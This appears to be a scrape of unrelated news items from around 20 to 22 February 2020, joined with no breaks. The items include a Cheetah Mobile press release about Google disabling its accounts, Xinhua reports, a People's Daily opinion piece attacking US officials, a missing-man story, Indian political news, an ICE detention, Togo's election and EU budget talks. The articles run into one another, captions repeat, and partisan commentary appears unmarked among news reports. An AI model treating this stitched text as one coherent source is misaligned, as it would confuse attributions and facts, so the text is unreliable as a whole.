Stock Analysis Report E*TRADE Financial Corporation (ETFC) : Free Stock Analysis Report Morgan Stanley (MS) : Free Stock Analysis Report First Horizon National Corporation (FHN) : Free Stock Analysis Report To read this article on Zacks.com click here. BEIJING, Feb. 21, 2020 /PRNewswire/ -- Cheetah Mobile Inc. (NYSE: CMCM) ("Cheetah Mobile" or the "Company"), a leading mobile internet company with global market coverage, today announced that it has been informed by Google that the Company's Google Play Store, Google AdMob and Google AdManager accounts have been disabled on February 20, 2020, and the associated contracts will be terminated. Pending the restoration of Google collaboration, the Company expects its ability to attract new users and generate revenue from Google may be materially adversely affected from February 2020. In the first nine months of 2019, Cheetah Mobile generated 22.6% of its total revenues from Google, including revenues from the mobile advertising business and revenues from the purchase and consumption of virtual items by users via Google as a channel. According to Google, the decision was made because some of the Company's apps had not been compliant with Google policies, resulting in certain invalid traffic. The Company is in continuous communication with Google to appeal the decision, clarify any misunderstanding, and adopt any requisite remedial measures to restore the disabled accounts. However, the appealing process could be time-consuming, and the Company cannot guarantee that its appeals will be successful. Cheetah Mobile remains committed to upholding the high standards in the industry and complying with Google Play developer policies, GDPR, laws, and regulations. The Company's priority has always been to protect the interests of its users and enhance the user experience. About Cheetah Mobile Inc. Cheetah Mobile is a leading mobile Internet company with global market coverage. It has attracted hundreds of millions of monthly active users through its mobile utility products such as Clean Master and Cheetah Keyboard, casual games such as Piano Tiles 2 and Bricks n Balls. The Company provides its advertising customers, which include direct advertisers and mobile advertising networks through which advertisers place their advertisements, with direct access to highly targeted mobile users and global promotional channels. The Company also provides value-added services to its mobile application users through the sale of in-app virtual items on selected mobile products and games. Cheetah Mobile is committed to leveraging its cutting-edge artificial intelligence technologies to power its products and make the world smarter. It has been listed on the New York Stock Exchange since May 2014. Safe Harbor Statement This press release contains forward-looking statements. These statements, including management quotes and business outlook, constitute forward-looking statements under the U.S. Private Securities Litigation Reform Act of 1995. These forward-looking statements can be identified by terminology such as "will," "expects," "anticipates," "future," "intends," "plans," "believes," "estimates" and similar statements. Such statements involve inherent risks and uncertainties. A number of factors could cause actual results to differ materially from those contained in the forward-looking statements, including but are not limited to the following: Cheetah Mobile's growth strategies; Cheetah Mobile's ability to retain and increase its user base and expand its product and service offerings; Cheetah Mobile's ability to monetize its platform; Cheetah Mobile's future business development, financial condition and results of operations; competition with companies in a number of industries including internet companies that provide online marketing services and internet value-added services; expected changes in Cheetah Mobile's revenues and certain cost or expense items; and general economic and business condition globally and in China. Further information regarding these and other risks is included in Cheetah Mobile's filings with the U.S. Securities and Exchange Commission. Cheetah Mobile does not undertake any obligation to update any forward-looking statement as a result of new information, future events or otherwise, except as required under applicable law. Investor Relations Contact Cheetah Mobile Inc. Helen Jing Zhu Tel: +86 10 6292 7779 ext. 1600 Email: [email protected] ICR Inc. Jack Wang Tel: +1 (646) 417-5395 Email: [email protected] SOURCE Cheetah Mobile Inc Related Links https://www.cmcm.com/ Source: Xinhua| 2020-02-21 23:25:07|Editor: huaxia Video Player Close This file photo taken on May 19, 2017 shows Wikileaks founder Julian Assange speaking to a crowd of reporters and supporters from the balcony of the Ecuadorean embassy in London, Britain. (Xinhua/Han Yan) "Article 53 of our constitution allows France to give asylum to a man who is threatened because of freedom of expression," said Assange's lawyer, Eric Dupond-Moretti. Citing a United Nations special report on torture and medical evidence, the French lawyer, a member of Assange's legal team, added the asylum request would be based on health grounds. PARIS, Feb. 21 (Xinhua) -- Julian Assange, founder of WikiLeaks, may once again seek asylum in France to avoid extradition to the United States where he could face trial over the publication of classified documents, his lawyer Eric Dupond-Moretti said on Friday. "Article 53 of our constitution allows France to give asylum to a man who is threatened because of freedom of expression," Dupond-Moretti told local broadcaster Europe 1. Citing a United Nations special report on torture and medical evidence, the French lawyer, a member of Assange's legal team, added the asylum request would be based on health grounds. He argued that "in addition to physical disturbances, Assange shows all the symptoms of prolonged exposure to psychological torture." In 2015, Assange asked France to grant him political asylum status, but his request was rejected. The 48-year-old Australian computer programmer had released, in 2010 through his website WikiLeaks, a batch of U.S. classified information and military reports and documents showing Washington had spied on world leaders. Assange has resided in the Ecuadorian embassy in London since 2012 to avoid arrest. In 2019, he had been evicted from the embassy and jailed in London for skipping bail. He has remained in prison ever since and risks being sent to the United States to stand trial. Assange is wanted by the U.S. on 18 criminal counts of conspiring to hack government computers and violating an espionage law. A London court will start hearings on Monday to decide whether Assange should be extradited or not to the United States. Senior officials of the U.S. once again attacked Chinas political system, as well as the countrys domestic and foreign policies, at the recent 56th Munich Security Conference (MSC). Such lies reflected their political prejudices against China, and fully exposed their paranoia and hypocrisy. The unnerving silence at the conference hall after they finished their speeches was sarcastic, while the refutation made by other attendants during the Q&A session well explained with whom justice stands. At the MSC, Speaker of the U.S. House of Representatives Nancy Pelosi made hypes on Chinas tech firm Huawei and 5G technology, comparing normal technology cooperation between enterprises to export of social system, which revealed her insanity in oppressing Chinese enterprises. Whats absurd is that her remarks suit perfectly the practices of her own country. The U.S. PRISM surveillance scandal is known throughout the world. In this program the U.S. government tracked nearly 5 billion phone calls around the world on a daily basis, and monitored the phones of national leaders for more than 10 years. Recently, the country was once again reported to have long controlled foreign companies and stole 120 countries confidential information. Of course, no one is going to buy such groundless rhetoric made by the U.S. a hacker who can barely conceal its hypocrisy and anxiety, and is tripped by its own practices. The European Union, the UK and Germany made it clear that they will not rule out certain companies on 5G construction, and UK officials said bluntly that the U.S. failed to offer solid evidence. It indicates the long-lasting disreputation of the U.S. on cyber security. The improper remarks made by the country will never be supported no matter how hard it tries to sell them. At the MSC, U.S. Secretary of Defense Mark Esper and U.S. Secretary of State Mike Pompeo put on a ridiculous duet, with one fanning up the China threat and the other preaching the West is winning. On the one hand, they made the nonsense that Chinas admission to the WTO was a benefit offered by the U.S.; on the other hand, they claimed that China is interfering with U.S. internal affairs. They told the meeting that the U.S. does not seek conflict with China, but later spared no effort to start provocation. These self-contradictory remarks were ridiculous, and only revealed the ugliness of arrogant hegemonism. What effects has this show achieved? According to American political opinion website The Politico, both Esper and Pompeos remarks to smear China at the MSC were not recognized by most of the European Union countries. Such situation tells that the calculations of these American politicians will never defeat justice. Equity and justice shall never be absent from this world, and there will always be voices safeguarding them. German President Frank-Walter Steinmeier criticized the U.S. administration at the MSC for rejecting even the idea of an international community. French President Emmanuel Macron put it clear that Europe has different expectations with the U.S. But even the conference host, Wolfgang Ischinger, a veteran German diplomat, couldnt help but push back against the American torrent, said an article on the website of U.S. magazine Foreign Policy. The American Conservative noted that As we look back on the record of how the U.S. and our allies have behaved over the last 30 years, respect for other nations sovereignty is not what we see. Every country enjoys the right to independently develop, and its people enjoy the freedom to pursue a happy life. Chinas development goes with global peace and justice, and is a natural step of the history that no force is able to stop. The by-hook-or-by-crook practices of the U.S. will only present Chinas rapid development in a clearer image. More and more members of the international society are expressing discontent with the improper remarks and practices of the U.S. High Representative of the European Union for Foreign Affairs and Security Policy Josep Borrell noted that the recent criticisms and accusations against China from individual countries are out of jealousy for Chinas development success. Cold War mentality and zero-sum games, as well as the outdated political prejudices and lies cause nothing but damage. The U.S. politicians will finally realize, in a desolate manner, that what goes against history will never make history, and the world will not join them in reversing the history. Just as what the Munich Security Report 2020 points out, some of the worlds most important challenges cannot be solved by the West alone, and dealing with the implications of this new era will require cooperation with countries of different social systems. Theres no doubt that the international society welcomes Chinas development, and expects countries of different social systems to coexist peacefully and cooperate for win-win results. In the face of the increasingly complex security and development challenges, countries must seek common ground while shelving differences and take concrete actions to build a community with a shared future for mankind. (Zhong Sheng is a pen name often used by Peoples Daily to express its views on foreign policy.) MIDDLETOWN As media attention wanes and tips diminish in the search for a missing 59-year-old city man, family members are bracing themselves for the possibility he may never be found. Peter Recchia, who left his Middletown home Oct. 3, was last seen by his daughter Bunny Rodriguez shortly before he disappeared. They texted at 7 a.m. that day. Police said Recchia is 5 feet, 11 inches tall, weighs around 150 pounds and has gray hair, green eyes and was wearing rectangular eyeglasses. Recchia left on foot that day. I know in my heart something happened, Rodriguez said. I think it was an accident. He was caught on camera Oct. 4 in New Haven passing by a gas station at about 4:15 a.m., officials said. Hamden police briefly detained him after he reportedly entered a Hamden womans home that morning through an unlocked door. The homeowner found Recchia sitting at her kitchen table and convinced him to leave. A Silver Alert for the man, which was released at 8:30 a.m., hadnt yet been issued. Police shortly afterward found him walking on State Street. He last was on the street where Rodriguez works as a social worker. Police have checked Recchias phone records but that search was unsuccessful, and canvassed businesses in both Middletown and New Haven along his possible route toward Durham, where he grew up. Rodriguez said authorities examined his EBT card for purchases, but no charges have been made. Recchia has been without his medication since then. He has mental health issues, Rodriguez added, like her mother, who is in a nursing home. They have been married 38 years. My dad has been the one who has carried the family for so long. He did everything he could to raise me while my mom was sick, said Rodriguez. Police told Rodriguez that her father indicated he was trying to save souls at Hamden house he entered into. He enjoyed traveling around Middletown on foot, talking to people about the Bible. He is a spiritual man, just like his daughter, he reportedly said. One of his favorite pastimes was spending time with his grandchildren and taking them fishing. I dont know if he was on a spiritual walk or walking to New Haven to turn around. Im not sure why, Rodriguez said. The family held several press conferences in the early weeks after his disappearance, but have since stopped because of the difficulty, both emotionally and physically, of sharing these types of stories, said his brother, Connecticut News 12 reporter Frank Recchia. Rodriguez has gotten much support from her sister and uncle. Meanwhile, Frank Recchia has kept the torch lit, including through a segment which ran Thursday on his station in response to continuing questions from the public. He has been going over different scenarios in his mind, all of which speak to the stark reality of the situation. He could have been confused and entered an abandoned building to rest and passed away of natural causes. I worry about him getting into a car with somebody, and that person driving out of state, or trying to rob him, Frank Recchia said. Hes also thinking his brother was put in a mental hospital, possibly out of state. Its unlikely hes still alive. Theres been no activity on his state benefits card, Frank Recchia said. Its not uncommon for her father to take long walks, Rodriguez said, but not for 30 miles. 15 hours at a time. Every day, she hears from people, some of whom are haunted by her story. Tips center mostly on individuals who think theyve seen him in various locations, but every search turns up empty. My pain is in the public, Rodrigez added. Clues have dried up, and, the investigation continues, until more information comes in, Middletown police Lt. Heather Desmond said. Anyone with leads, no matter how small, should reach out, she said. Meanwhile, Frank Recchia is grateful for the support of authorities, including state and local detectives and even the FBI, he said. Its hard. Weve gotten no answers. Were still no closer to finding Peter, he said. Private detective Mark Schachter of Investigative Consultants in East Haven has been helping the family and is still actively searching for Recchia in the tri-state area. The family even brought in a psychic from New York, but she was unsuccessful, Rodriguez said. Her father loves nature and often enjoyed sitting at a pond in her backyard. He also enjoys birds, so Rodriguez put up a number of birdhouses on her land as a tribute to him. Were always covering the news and reporting really tragic stories like this one, Frank Recchia said. Ive come to accept this case might end tragically, but were trying to stay hopeful. Its very sad. Its hard to believe five months later were no closer to having an answer than we were on day one. There is a $1,000 reward for anyone with information that may lead to his discovery. People can message Rodriguez through the Help Us Find Bunny Rodriguezs Dad, Peter Recchia Pop-Pop Facebook page or call Middletown police at 860-638-4000. Mumbai, Feb 21 : The latest release of actor Ayushmann Khurrana "Shubh Mangal Zyada Saavdhan" has been banned in Dubai and UAE over its homosexual content. According to bollywoodhungama.com, the film's makers even offered to edit the kiss between Ayushmann and co-actor Jitendra, but to no avail. A source from Dubai told the portal: "We knew this was coming. Or, rather not coming. We really wanted to see what 'Shubh Mangal Zyada Saavdhan' has to say, since it is the first Bollywood film that normalises a gay relationship. Sadly, all films with a gay content are banned in these parts." When the producers of the film offered to cut out the kiss scene between Jitendra and Ayushmann, they were reminded that it wasn't about the kiss but the content. Directed by Hitesh Kewalya, "Shubh Mangal Zyada Saavdhan" is a love story between two men in small-town India. The film also stars Gajraj Rao and Neena Gupta among many others. An undocumented pregnant woman was arrested by U.S. Immigration and Customs Enforcement agents just minutes after dropping off her four-year-old daughter for pre-school in Philadelphia. Veronica Carmen Lara-Marquez said the ICE officers eventually released her at a bus stop shortly after detaining her near Kirkbride Elementary School on February 11. Lara-Marquez, a native of El Salvador, thought she was going to be kidnapped when she was approached by two plainclothes agents, who addressed her by her middle name and told her to step to the side because they wanted to talk to her. Veronica Carmen Lara-Marquez, a three-month-old pregnant mother-of-two, was briefly detained by ICE agents February 11 moments after dropping of her four-year-old for pre-school classes. She was released when she told the ICE officers she was pregnant The brief detention of Salvadoran migrant who was dropping of her daughter at a school in Philadelphia has prompted school officials to reach out to its staff on how to deal with ICE agents The three-months-pregnant woman was then let go by the ICE agents when the father of her two children saw the scene unfold through the window of the apartment he shares with her and his son, according to Telemundo 62. 'We live right in front of the school and he saw me through the window and came out,' Lara-Marquez said. 'He told them to be careful with me because I was pregnant and they asked me quickly how many [months] I had.' The Salvadoran woman entered the United States on an asylum petition in 2011 and settled in Virginia. She then moved to Philadelphia the following year and met the father of her two children, but failed to show up for her immigration hearings. NBC 10 reported that an immigration court judge issued a deportation order for Lara-Marquez the same year she moved to Philadelphia, according to a statement from ICE. "In May 2012, an immigration judge issued Lara-Marquez a final order of removal in absentia. Humanitarian factors and potential mitigating circumstances are considered for every individual encountered by ICE,' the federal immigration agency said. 'A detention decision is made on a case-by-case basis based upon the totality of the circumstances.' Lara-Marquez's deportation judgement still stands and she has to show up for future scheduled immigration hearings in Philadelphia Despite her release, Lara-Marquez's judgement still stands and has to show up for future scheduled immigration hearings in Philadelphia. KYW Newsradio reported that the Philadelphia School District has reached out to its staff on how to deal with ICE agents if they present themselves at the schools or attempt to seek information on undocumented migrant students and parents. "We've been working with the city to ensure that there are no efforts to concentrate around schools, at the opening and closing of schools," Superintendent William Hite said. Haryana Minister and BJP leader Anil Vij on Friday slammed AIMIM chief Asaduddin Owaisi over an activist raising Pro-Pakistan slogan at his rally in Bengaluru and called it a result of his 'poisonous speeches'. Anij Vij said that even though Owaisi said in a statement that he has nothing to do with the sloganeer, he cannot get away with it. Vij claimed that the provocative speeches given by leaders have led to such sloganeering. The Haryana Minister further asked Asaduddin Owaisi to "stop spitting fire, or else he would be engulfed in the flames." "Owaisi said on the stage that he has nothing to do with the activist raising slogans of Pakistan Zindabad, but this is a product of the poisonous speeches which you and leaders like you have been giving for some time. You (Asaduddin Owaisi) cannot deny this. Stop spitting fire or else you will not be able to escape from this fire," Anil Vij said in a tweet that was later deleted. READ | Asaduddin Owaisi Condemns Activist's 'Pakistan Zindabad' Chant At His Event, Demands Probe Owaisi condemns 'Pakistan Zindabad' slogans AIMIM chief Asaduddin Owaisi on Thursday condemned activist Amulya Leona for chanting pro-Pakistan slogans at his rally and demanded an inquiry into the matter by the organisers of the event. During an anti-CAA rally in Bengaluru, Amulya Leona grabbed the mike and chanted 'Pakistan Zindabad", which led Owaisi to reprimand her while the cops took her away. "I totally condemn it. I was about to do my evening prayer. I heard this nonsense and I immediately rushed to her and I stopped her. I said, 'What is this? What nonsense are you saying?'. We will never tolerate this thing. I hope the organisers demand an inquiry. I don't even know who this lady is," Asaduddin Owaisi told reporters after the incident. READ | Pro-Pak Sloganeerer At Owaisi Rally Charged With Sedition, Sent To 14-day Judicial Custody READ | Pro-Pak Slogan By Activist At Owaisi Event 'underbelly Of These Protests': BJP's Malviya Activist raises 'pro-Pak' slogans Earlier on Thursday, 19-year old student Amulya had disrupted an address by Owaisi and raised the slogans. Visuals showed that the AIMIM leader tried to grab her mic while authorities tried to get her off stage. It is unclear what exactly the woman said, but it is believed that she raised certain pro-Pakistan slogans. The activist was heckled out by those on the stage and taken away by police. In the latest development, the authorities have charged Leona with sedition, according to ANI. Moreover, she has also been sent to 14-day judicial custody. READ | Chaos At Owaisi Rally: Activist's Slogans See Her Pulled Off Stage; AIMIM Chief Distances BAKU, Azerbaijan, Feb. 21 By Rufiz Hafizoglu Trend: Turkmenistan reduced import of defense industry products from Turkey, Turkeys Ministry of Trade told Trend on Feb. 21. According to the ministry, in January 2020, Turkmenistans import of defense industry products from Turkey amounted to $2,900, which is 3.93 percent less compared to January 2019. In 2019, Turkmenistans import of defense industry products from Turkey amounted to $791,510, which is 2.1 times more compared to 2018. In January 2020, Turkeys export of defense industry products dropped by 4.3 percent compared to the same month of 2019, amounting to $166.9 million or 1.1 percent of countrys total export. Turkeys foreign trade turnover in 2019 exceeded $374.2 billion. Turkey's export increased by 2.1 percent in 2019 and amounted to $171.5 billion compared to 2018, while Turkey's import dropped by 9.1 percent and amounted to $202.7 billion. --- Follow the author on Twitter: @rhafizoglu New recommendations for monitoring use of antibiotics on beef farms have been set to encourage the supply chain to use a 'common language'. The new industry standard has been agreed following extensive consultation with farmers, vets and other stakeholders in the sector. The recommendations complement those previously agreed for monitoring antibiotic use on dairy and sheep farms. Developed by the Cattle Health and Welfare Groups (CHAWG) Antimicrobial Usage (AMU) subgroup, they are based on research work undertaken by the University of Bristol. The measures aim to help beef farmers understand where they are in relation to the antibiotic use targets set by representatives of the beef sector within RUMAs Targets Task Force in 2017. They also aim to continue delivering reductions and refinements in use once new post-2020 targets are announced at the end of the year. The core measure a beef farm is advised to use is the total weight of antibiotics used in a year (in milligrams) relative to the average weight of the cattle population at risk of treatment on the farm during the year (in kilograms). This is similar to the core mg/kg measures already in use by the dairy and sheep sectors. Tim Brigstocke, chair of CHAWG AMU, explains that measuring and comparing antibiotic use in beef herds is not straightforward, as it needs to take account of the numbers and types of cattle on a farm, which can change considerably during a year. He said: We have aimed to strike a sensible balance between accuracy and pragmatism and produce a metric that will work for the majority of farms, recognising that the opportunity to link to national databases in the future will make providing data relating to the number and types of cattle much easier for farmers. Derek Armstrong, Veterinary Lead at AHDB, said vets and others in the supply chain are now being encouraged to use these standard metrics, where possible, to ensure that a common language is being used. This will help farmers monitor antibiotic use on their farm over time and see how it relates to similar farms across the industry, he explained. It will also inform vets and farmers when they are working together on developing health plans and encourage farmers with specific health challenges and high antibiotic use to identify where to focus in order to improve their management practices. The overall mg/kg measure should be reported alongside a separate figure for the highest priority critically important antibiotics, which aligns well with recommendations from the other ruminant sectors. Additional measures have also been recommended where more detailed farm level antibiotic use records are available. These are the percentage of animals treated and treatment days per animal. The additional metrics can also be used for other veterinary medicines. Mumbai, Feb 22 : Bollywood veteran and Actor and former Member of Lok Sabha Shatrughan Sinha was recently spotted at a wedding in Lahore, Pakistan. The news went viral all over social media after pictures and videos of the wedding, in which Sinha can be seen at the venue, were posted by a user on Instagram. The user has been identified as a local photographer in Lahore. The videos and snapshots of the wedding show Sinha attending a qawwali night, according to indiatoday.in. Sinha is seen with Pakistani actress Reema Khan in one video, looking dapper in black suit and trademark scarf around his neck, also in black. Not surprisingly, sections of social media were livid over Sinha's attending a wedding in Pakistan, according to timesofindia.com. "Indian soldiers are dying on the borders safeguarding the nation and our B-Town celebs are proving their friendship with Pakistanis," wrote a user. Another user tried making light of the incident: "What is Shatrughan Sinha doing in Lahore? We'd ask him but he'd just say 'Khamosh!'" Fuare Gnassingbe is likely to win a fourth term in Saturdays vote with the opposition unable to form a united front. Voters in Togo are set to cast their ballots on Saturday in a presidential election that is expected to further extend the Gnassingbe familys decades-long rule. Polls show incumbent President Faure Gnassingbe is likely to win a fourth-straight term in office as the opposition has not been able to form a united front. The 53-year-old leader took office in 2005 after the death of his father, Eyadema Gnassingbe, who led the country for 38 years after seizing power in a coup in 1967. Among the candidates is a former journalist and human rights campaigner, Jean-Pierre Fabre, who challenged Gnassingbe in the 2010 and 2015 elections, coming in second on both occasions. Five other candidates are also competing, including former Prime Minister Gabriel Messan Agbeyome Kodjo, who represents a coalition of opposition and civil society groups. The election comes on the back of a series of major protests that swept through the country of some eight million people in 2017 and 2018 with demonstrators demanding that Gnassingbe step aside. However, demonstrations were choked off by a fierce government crackdown and a split among the opposition, and Gnassingbes grip now appears as solid as ever. The president pushed through constitutional changes in May last year allowing him to stand again this year, and potentially stay in office until 2030. The constitutional change caps the presidential mandate to two five-year terms, but does not take into account the three terms Gnassingbe has already served. Between hope and disillusionment The bulk of the 3.5-million eligible voters will be comprised of mostly young people such as 24-year-old Fynn Egbede. Egbede, who has known just two presidents in Togo in his lifetime, got his first voter card in 2018. I am looking forward to this experience. I have carefully kept my voter card and will go out to vote for my candidate, Egbede told Al Jazeera. While opposition candidate Fabre is promising to restore democracy and boost economic development, the ruling party has been campaigning on a pledge to create 500,000 jobs across the country by 2022 to ease the frustration of a large number of unemployed young people. Togolese have witnessed six presidential elections since the democratic movement of the 1990s all won by the Gnassingbe family. We are tired of hearing the same thing every time, said Gloria Krobo, a 42-year-old trader based in the capital, Lome. We are not making progress. We need to change the way we do things but I dont think retaining the ruling party will change anything. Despite economic growth in recent years of about 5 percent, driven by investment in energy and transport, about half the population is affected by food insecurity, while almost 70 percent of rural households live below the poverty line, according to the World Food Programme. Risk of electoral fraud Concerns over the fairness of the electoral process are high among opposition members who say little has changed since the 2018 parliamentary elections, which were boycotted by 14 parties that cited irregularities. Despite the United Nations and regional body ECOWASs deployment of election observers, the national election commission stripped the National Consultation of Civil Society of Togo, a main independent observer group, of its accreditation, accusing it of preparing to carry out interference in the vote. The move earlier this week came after authorities previously blocked Catholic Church monitors from observing the election. Fabre said some of his campaign rallies were blocked by authorities and raised concerns about the transparency of the vote. But Egbede is still determined to participate. I hope the elections will be free and fair so that we can elect a president of our choice. I couldnt vote during the last parliamentary elections because of violence in my area. I hope this one will be peaceful, he said. Polling stations will open at 07:00 GMT and close at 16:00 GMT, with provisional results expected six days later. Amulya Leona, who allegedly raised pro-Pakistan slogans in a Bengaluru rally yesterday, faced fury of vandals who attacked her parents house in Karnatakas Chikkamagaluru and smashed windows on Thursday night, as per news agency ANI. Amulyas father, Oswald Naronha filed a police complaint at Koppa alleging some unidentified BJP activists were behind the vandalizing of his house. The activists vandalised our house by smashing window glass panes, flower pots and damaging other household things, Naronhas complaint alleges, as per a news agency. Police personnel had been deployed at Naronhas house at Koppa, which is about 320km west of Bengaluru. Amulya was arrested yesterday on sedition charges by the police and a magistrate has denied her bail while sending her to 14-day judicial remand. Her father said he was against his daughters action of shouting pro Pakistan slogan at an anti-CAA rally organized by All India Majlis-e-Ittehadul Muslimeen (AIMIM). I condemn Amulya for shouting pro-Pakistan slogan at the rally and disown her views on CAA, NRC or NPR. I was not aware about her act till a friend called and told me about it last (Friday) night, Oswald Naronha was quoted by a news agency. He said he had advised Amulya against bad-mouthing leaders over the Citizenship Amendment Act but she didnt listen. I also advised her not to criticise Prime Minister Narendra Modi and Union Home Minister Amit Shah for enacting the CAA. She does not listen to us. She has gone out of our control. I am sad and unhappy that she got into trouble for her views, Naronha told ANI. The 19-year-old is a second year student in a degree college pursuing BA in literature, sociology, psychology and journalism. Right wing groups-- Sri Ram Sene and Hindu Janajagruti Samiti-- were also staging protests in Bengaluru against Amulyas sloganeering said ANI. A political war of words has broken out between the BJP and the opposition over the incident. Prince Harry and his wife, Meghan, will relinquish the name Sussex Royal as they withdraw from official duties as members of the British royal family, a spokesperson for the couple confirmed Friday. Prince Harry and Meghan, who are also known as the Duke and Duchess of Sussex, had planned to use Sussex Royal as an umbrella name for their new charitable foundation and social media accounts. But after lengthy negotiations with Buckingham Palace, the couple has agreed not to use the name royal in any of their private-sector activities after this spring. The concession could hurt their earning power, experts said, though Harry will retain his title as a prince and Duke of Sussex. Read more about: Tesla CEO Elon Musk poses on the red carpet as he arrives for the 43rd "Golden Steering Wheel" awards on November 12, 2019 in Berlin. Tesla has been given the go-ahead from a German court to cut down trees for its new European factory. Though it doesn't yet have planning permission to build the so-called Gigafactory in Brandenburg, the local government agency overseeing its intended site gave it permission to clear 91 hectares of forest land. Environmental campaigners opposed to the chopping down of trees had managed to get the higher administrative court of Berlin and Brandenburg to issue an injunction to temporarily halt the preparatory work. But the court, which oversees the region in which Tesla plans on building its new plant, on Thursday decided to throw out the injunction. Olay has pledged to stop retouching its models by the end of the year. (Stock photo via Getty Images) Things have been slowly changing in the beauty and fashion industry for some time. With moves towards sustainable shopping and plastic reduction, now Olay have announced plans to stop the retouching of their photos by the end of 2020. Its a big step for the skincare brand, which is owned by P&G, and its certainly a welcome one. The move will hopefully see other skincare heavyweights following suit. Read more: These grey haired celebrities are bucking the trend Consumers have made their feelings clear about the lack of representation within the beauty industry. Airbrushed models no longer provide people with aspirational content and instead leave the public comparing themselves to digitally enhanced imagery. This isnt exclusive to the beauty industry, though. In technology, 2020 is the year of the inclusive emoji, which includes gender-neutral additions amongst a host of others. Weve also seen positive steps taken in other marketing, including Air Canadas pledge to use gender neutral terminology. Read more: The best eyelash growth serums Within beauty, weve seen the beginnings of some positive changes. The likes of Mac and Urban Decay have posted images on social media showing real skin. But, this is the first definitive step from a brand to pledge a complete change in its approach by the end of 2020. The plan includes photos in print, digital, TV and out-of-home adverts. The news was revealed in conjunction with its new campaign, My Olay. The campaign stars Lilly Singh, Denise Bidot and Busy Phillipps, who put an Instagram post out saying she was proud of the brands commitment. While the brand transitions, a real skin promise badge will be shown on all retouched images in North America. This is, however, something thats already happening in the UK. Olays senior communications manager, Kate DiCarlo, described the move as a massive undertaking. Story continues She said: If a brand as large as Olay can do this, anyone can do this. She continued in a statement: The commitment of Olays Real Skin Promise is something that, in the UK and Ireland, we are pleased to already have been doing and will continue to do. We want to spread the fearless message more broadly to inspire more women to be unapologetically true to themselves and North Americas teams work is another step in our global mission. We are clapping so hard right now. Watch the latest videos from Yahoo Style UK: Germany's Chancellor Angela Merkel and France's President Emmanuel Macron speak as they walk after a bilateral meeting on the second day of the European Union leaders summit, held to discuss the EU's long-term budget for 2021-2027, in Brussels, Belgium, February 21, 2020. Kenzo Tribouillard/Pool via REUTERS Denmark, Austria, Sweden and the Netherlands dug in their heels over the next European Union budget, insisting it cannot top 1% of economic output, to leave the EU no closer to a deal on Friday after all-night talks. Expectations for a breakthrough were low as the 27 national leaders reconvened on Friday. They had spent a day and a night in talks that failed to bridge divisions between richer and poorer nations over the size of the next budget and what to spend it on. "I don't think we are going to reach an agreement," said Danish Prime Minister Mette Frederiksen. Her Romanian colleague, Klaus Iohannis, said another summit of EU leaders would be needed to break the deadlock. Czech Prime Minister Andrej Babis channelled frustration, saying the leaders "can go straight home" if the four frugals do not budge. Some EU countries want extra funding to match new ambitions to fight climate change and manage migration, some want a continued focus on development and farm aid, and some are pushing for greater realism in recognising the 75 billion-euro ($81 billion) fiscal shortfall left by net contributor Britain's departure from the EU. A baseline proposal to cap the budget - which will run from 2021 to 2027 - at 1.074% of EU gross national income, or 1.09 trillion euros ($1.18 trillion), faced criticism from all quarters. Dubbed the Frugal Four, the bloc's wealthy net contributors want a limit of 1% and refuse to pay more to make up for the loss of Britain's fees. Their less-developed peers want to keep generous aid coming. After an initial session of all 27 leaders on Thursday afternoon, they broke for separate face-to-face meetings that went through the night and until 0600 GMT on Friday. "The bilaterals took forever. But it seems things have not moved, the frugals keep on insisting on their position," one diplomat said on Friday morning. An EU official confirmed: "The position of the frugals has not changed an inch ... so there is not much to go on." A French diplomat echoed the sentiment: "I'm not very optimistic. Because of the frugals." LONG NEGOTIATIONS ON CARDS EU leaders have until the end of the year to agree, so chances of an early compromise appear low. Beyond the size of the budget, the other fight is what to spend it on. The poorer eastern and southern nations want to hold on to development aid. They are backed by France, Ireland and others in seeking to uphold major farm subsidies. But Germany, the Netherlands and others want to shift funds towards new priorities, including combating climate change, managing migration and expanding the digital economy. The Germans and Dutch are also leading a small group who want to preserve rebates that reduce their payments to the current 2014-20 budget. Every other EU country is against that. Poland and Hungary - where nationalist and eurosceptic governments stand accused of flouting democratic standards - refuse to link EU aid to upholding the rule of law. "If we are so far apart, there is no basis for discussion," Babis said. Source: Xinhua| 2020-02-20 22:19:08|Editor: Shi Yinglun Video Player Close Members and supporters of the University and College Union (UCU) take part in a protest in London, Britain, on Feb. 20, 2020. Up to 50,000 staff members in 74 universities across Britain started a 14-day strike on Thursday over disputes on pension, pay and working conditions. (Photo by Ray Tang/Xinhua) LONDON, Feb. 20 (Xinhua) -- Up to 50,000 staff members in 74 universities across Britain started a 14-day strike on Thursday over disputes on pension, pay and working conditions. Members of the University and College Union (UCU), including lecturers, technicians, librarians and other academic and support staff, are joining the industrial action between Feb. 20 and March 13, potentially affecting 1.2 million students. The UCU said 50,000 of its members will take the action over workloads, pay, a 15 percent gender pay gap, increased casualization and changes to pensions for staff in the Universities Superannuation Scheme -- one of the largest principal private pension schemes for universities and other higher education institutions in Britain. However, the Universities and Colleges Employers Association, the employers' association for universities and colleges of higher education, said it has invited the UCU to further talks and is dismayed by "damaging strike action". The association said employers have increased their pension contributions from 18 percent to 21.1 percent of salary, paying in an extra 250 million pounds (321.9 million U.S. dollars) each year. Meanwhile, students at some universities have launched petitions for compensation from their schools. Many students said they support the strikes but feel that they should be reimbursed for missed tuition time. Emma Crawford, a third-year geography student at Exeter University, told the BBC that the time of the strike is a critical time for her and she was anxious because her final-year dissertation was due in March, adding the missing lectures and contact time is a waste of money. This is the third set of strikes in Britain over university staff pension issues since 2018. Last November and December, staff from 60 British universities walked out over the same disputes for eight days, affecting around 1 million students. Source: Xinhua| 2020-02-20 22:52:16|Editor: huaxia Video Player Close A worker works at a factory of Northern Heavy Industry Group Co., Ltd. in Shenyang, northeast China's Liaoning Province, Feb. 10, 2020. (Xinhua/Yang Qing) Chinese State Councilor and Foreign Minister Wang Yi said China's economy remains resilient and shows strong vitality to withstand the challenges from the epidemic. VIENTIANE, Feb. 20 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi said here on Thursday that the limited and short-term impact from the novel coronavirus (COVID-19) outbreak will not reverse the growth of China's economy. "The epidemic has brought challenges to our country's economic and social development, but we believe that the impact is limited and temporary," Wang said after the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease held here Thursday. Chinese State Councilor and Foreign Minister Wang Yi addresses the Special ASEAN-China Foreign Ministers' Meeting on Coronavirus Disease in Vientiane, capital of Laos, Feb. 20, 2020. (Xinhua/Kaikeo Saiyasane) He said China's economy remains resilient and shows strong vitality to withstand the challenges from the epidemic, and the growth momentum thus will not be reversed. The sound momentum for the long term development of China's economy will not be changed, and the fundamentals of China's economy will not be shaken either, he added. 